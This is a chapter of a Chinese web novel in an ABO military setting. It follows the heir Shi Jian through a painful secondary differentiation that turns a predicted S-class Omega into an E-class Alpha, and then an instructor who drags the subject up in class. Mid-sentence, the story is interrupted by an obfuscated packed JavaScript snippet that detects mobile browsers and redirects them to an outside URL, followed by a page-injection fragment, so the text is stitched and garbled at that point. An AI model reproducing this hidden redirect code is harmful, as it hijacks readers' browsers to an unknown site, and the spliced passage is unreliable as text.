“我已经通知了上将和两位少爷,他们正以最快的速度赶回中心区。让医院立刻马上把各科室最好的医生都调过来待命,确保在救护车到之前就准备好手术室,医院这边不能出任何差错!”
“救护车必须在五分钟之内赶到——罗伊呢?!你让这个区域的警队出来配合执法,封锁其他交汇路口,把路线清出来,一路上我不想看到任何红灯!耽误哪怕一秒钟,所有人吃不了兜着走!”
救护车上挤满医生,男女声混合车外嘈杂的车流声就在耳边,却像隔着水面一样朦胧听不真切,时茧能够听清楚的,只有从他自己身体里发出的,持续而激烈的呼吸心跳,一下比一下沉重。
他平躺着,视野有限,只能看到一些模糊的人影,手忙脚乱的在他面前来来去去,像在看一种上个世纪的黑白默片。
唯一清晰一点的影像是副官紧握着他的手,用力得几乎攥碎骨头,表情是前所未有的慌乱,但声线压得极其平稳,只偶尔泄露出一丁半点的颤抖,语速飞快地同时应付着几部手机,还要抽出空安抚突发意外的小少爷,配合医护进行初步干预,比怕自己死还更严重地怕躺在急救床上的人有什么三长两短。
闪烁红光的仪器发出急促而刺耳的锐鸣,副官的身影和医护的身影逐渐重叠在一起,每个人的脸上都写满相同的焦急和惶恐,不安在一双双眼睛里蔓延。
时茧蜷缩在急救床上,浑身皮肤都在发烫,像一只煮熟了弓着腰背的虾。他颤抖着回忆昏迷前发生了什么,却只记得今天考完最后一门课,要去陪雷雨庆祝即将到来的十八岁生日,只是如寻常一样走在那条熟悉的路上,忽然就失去了所有知觉,然后被一种搅碎腺体的剧痛唤醒。一开始只是塞进毛巾以免他把舌头咬破,后来给他吃镇痛药和安眠药,不管用后打吗.啡,但仅仅能管几分钟。
权衡利弊后副官阻止了医生继续注射,为了防止时茧失去理智时伤害到自己,叫来四个B级的Alpha保镖才将急救床上剧烈挣扎的人按住。按理说这种疼痛等级换做其他人早就该休克,身体会主动自救,但彼时仍是S级Omega的时茧却因为等级太高而免疫了一切的阵痛手段,被迫清醒地感受着自己还没有完全成熟的腺体细胞破碎断裂。
他的视网膜鼓胀而充血,看到了大片被血染红的天空,空气中漂浮着弹片和粗大的废土颗粒,一望无际的烧焦的土地。他清楚地意识到这不是幻觉而是真实看见的东西,直视那轮血红残阳时,他的耳朵里一瞬间炸开无数道声音,男人女人的,老人小孩的,窃窃私语、人声鼎沸,还有熟悉的一声呢喃似的小茧,男人把他抱在怀里耳语着什么,甚至能听见风和树叶的对话,蚂蚁群的交流。
一瞬间又安静无比,风停树止,蚂蚁不知所踪。时茧的脑子里被灌进很多东西,杂乱无序,根本装不下。思维像是被人用一根树枝不规则地持续搅拌,记忆也随之七零八碎断成小截。
碎片画面断断续续地出现在时茧眼前,突然三盏刺眼的白光刺激得他流下眼泪,好几双手持着银亮的长刀迫近。颠三倒四的思维让他意识不到自己是谁,也动弹不了,只知道大脑很痛,身体在抽搐,汗水蓄在衣服里像保鲜膜一样裹着他。
烂掉的腺体点燃了一把火焰,然后五脏六腑跟着燃烧起来,甚至有血管沸腾的声音。周围却很冷,冰窖一样,皮肤的毛孔甚至能感受到森森冒出的寒气。
时茧以为自己正泡在冰水里自焚,他挣扎着要逃开,但身体麻木而沉重,与此相反的,是他混沌却轻盈的灵魂。
他忘记了自己什么时候终于可以闭上眼,逃脱这比死恐怖百倍的灼痛,在陷入无边的黑暗那一刻,他以为自己终于死了,不必再忍受这样的痛苦,于是露出一个得以解脱的微笑。
但时茧活着,活得很好。
一场突发意外的二次分化而已,只是剥夺了他优越的基因,要不了他的命。那种深入骨髓的疼痛也只是伴随意外而降临的次生灾害,降临在每个人身上的概率非常平等,时茧只是比较不幸运。
从手术台下来后时茧留在中心区军医院疗养,全联邦最顶尖的腺体方面专家都汇集于此,不眠不休、竭尽全力地试图补救。
“怎么会提前进入二次分化呢……家族基因谱中没有这样的先例,直系亲属和旁系亲属中也没有腺体先天性遗传病的记录,自己也没有过腺体受损方面的既往病史,按理说根本不可能……不应该啊……”
“已经从中心区总库调取了10000cc的A级以上Omega信息素萃取液,尽力试试吧,看能不能逆转一下分化结果。”
“唉,还是不行。连第九军区总库的都调来了,已经输进去20000cc,为什么连一点效果都没有?就算达不到预测的S级,至少不应该是……是……”
专家们在尝试过目前所有的方法都无果后,不得不宣告时茧已经结束了二次分化,由预测的S级Omega分化为E级Alpha。
原因不详,无法逆转。
“E级Alpha?你们在开什么玩笑?!时家怎么会有E级的分化基因?!”愤怒过后,温隅安有些迷茫地喃喃着,“不,他不可能是Alpha,他不能是Alpha……他怎么可以是Alpha!”
时序依旧冷静。
“好的,清楚了,你们辛苦。”
“办出院吧。”
“把家里的Alpha保镖都撤走,全部换成Beta。”
“从现在开始,直到小茧学会控制信息素之前,不要让他接触到高等级的Alpha。包括你们。不要引起恶化。”
“时序这段时间抽不开身。温隅安,教好你弟弟。”
时藏锋妥当地安排好了每一个人。
时茧彼时半坐在病床上,闻言抓紧了被子,嶙峋的手背上青筋和骨头凸起,细的、窄的,覆在上面的薄薄的皮肤有着一种大病初愈的苍白。
本家和世交的长辈亲友们大多是高等级Alpha,不便登门探望,在视讯里表达了对他的关心。
“唉,这孩子怎么会……真是可惜了。”
“是啊,老大在上议院,小温是领养的,时家正等人接班呢……他这样以后怕是很难立足。”
“真佩服他还能像个没事人一样,要是我一夜之间从S级Omega沦落成E级Alpha,我肯定承受不了这种落差,还不如死了算了。”
“挺可怜的……”
“可惜……”
当那个登记官
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038861|162420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也流露出同情的目光时,距离这件事,已经过去了两个月余十天。
然后现在,被牧野当着几十个人的面,重新翻了出来。
话音落地的一瞬间,哪怕正打着瞌睡的也被旁边弄醒,所有人的目光都从四面八方汇聚到那一点上。
教室里陷入了一种难言的沉默,只有空调外机嗡鸣的闷响,隔着窗户随阳光一起闷热地传到每个人耳朵里。
时茧安静地坐在座位上,顺着牧野那句提问,把二次分化以来经历的一切压缩在几秒里走马观花一样地重看了一遍。
他其实以为自己已经忘得差不多了——
不是有那个理论吗,戒断保护机制,身体在经历了巨大的痛苦之后会主动自救,大脑下意识回避遗忘这段经历。
然后时茧发现自己是这个机制的漏网之鱼,混乱的思维和断裂的记忆只在那一晚出现过,那之后直到现在,他的记忆都如叶脉般清晰,清楚地记得每一个最微末的细节,甚至记得谁说过什么话,记得他们说这话时,是什么样的表情。
同情,可怜,遗憾,怜悯……很多种。
都是时茧不需要的情绪,但心地善良的人们总是会大发慈悲地送给他,就像下班回家的途中好心带给流浪小猫食物。
其实流浪猫抓老鼠也能吃饱。
牧野等得有些不耐烦,同时有种不知道为什么会生出的不安,他烦躁地翻了翻教案本,正想越过时茧点其他人的名字,忽然一声椅子在地上拖曳的声音,那个清瘦的少年站起来,背挺得很直,拖出去细细长长的影子。
牧野愣了一下。
时茧的声音是那种青春期男生刚变完声、稍微带着一点低哑,整体像冰水一样,清清亮亮的。
他很淡地勾着一点儿笑,平静地说:“报告教官,我二次分化结果是E级Alpha,没有觉醒异能,登陆人口系统界面的时候,弹窗提示我可以到民政部门办理轻度残疾证书享受联邦津贴。我不清楚第一军校为什么要留下我这种不合格的学生,也许军校也有照顾扶持残疾Alpha的指标?”
很坦然地就把自己的秘密公之于众,说自己是E级Alpha时,镇静地像在分享学术观点。没有很多人预想中的难堪窘迫然后发火痛骂,那双苍蓝色的眼睛像一面镜子,没有暴露出本主的懦弱和卑怯,反而倒映出一些人扭曲脱轨的心态,把那点恶劣心思暴露无遗。
时茧自己就已经把最难听的话说完了,以至于牧野哑口无言了好一阵子,回过神后心情有些复杂地让他坐下了。
其实在看见时茧拉开椅子站起来那一刻,牧野心底就莫名生出了几分后悔。说到底在二次分化成E级Alpha这件事上,时茧没有任何错,甚至他算是一个不幸运的受害者,他因为那点没由来的火气冲动下点名让对方分享当时的感受,实则算是相当过分的举动。
即使时茧看起来完全不在乎,但事实就是,在权贵后代和高等级Alpha纵横的第一军校里,一个E级的Alpha处境将会非常艰难,而这种局面完全是由于他的一己之私造成的。
就像时茧初来乍到时辩驳的那样,牧野不得不承认,他的确在以权谋私,对这个他看不起并深深厌恶的公子哥“滥用私刑”。